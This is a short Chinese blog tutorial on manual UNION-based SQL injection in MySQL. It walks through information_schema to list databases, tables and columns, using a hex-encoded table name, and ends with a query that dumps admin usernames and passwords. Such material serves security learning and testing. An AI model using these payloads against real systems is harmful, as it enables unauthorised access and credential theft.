zoukankan      html  css  js  c++  java
  • union select 手工注入

    mysql中的information_schema 结构用来存储数据库系统信息

    information_schema 结构中这几个表存储的信息,在注射中可以用到的几个表。 


    | SCHEMATA ――>存储数据库名的,

    |——>关键字段:SCHEMA_NAME,表示数据库名称


    | TABLES ――>存储表名的

    |——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;

    TABLE_NAME表示表的名称


    | COLUMNS ――>存储字段名的

    |——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;

    TABLE_NAME表示所属的表的名称

        COLUMN_NAME表示字段名


    可以看到,我们只要通过注射点构造查询语句遍相关字段,就可以得到我们想要的信息了。

    爆所有数据名


    select group_concat(SCHEMA_NAME) from information_schema.schemata


    得到当前库的所有表

    select group_concat(table_name) from information_schema.tables where table_schema=database()


    得到表中的字段名 将敏感的表进行16进制编码adminuser=0x61646D696E75736572

    select group_concat(column_name) from information_schema.columns where table_name=0x61646D696E75736572



    得到字段具体的值

    select group_concat(username,0x3a,password) from adminuser

  • 相关阅读:
    团队题目及相关介绍
    团队介绍
    寒假8
    寒假作业七
    寒假7
    寒假作业六
    寒假6
    寒假作业五
    寒假5
    寒假作四
  • 原文地址:https://www.cnblogs.com/ermei/p/7929501.html
Copyright © 2011-2022 走看看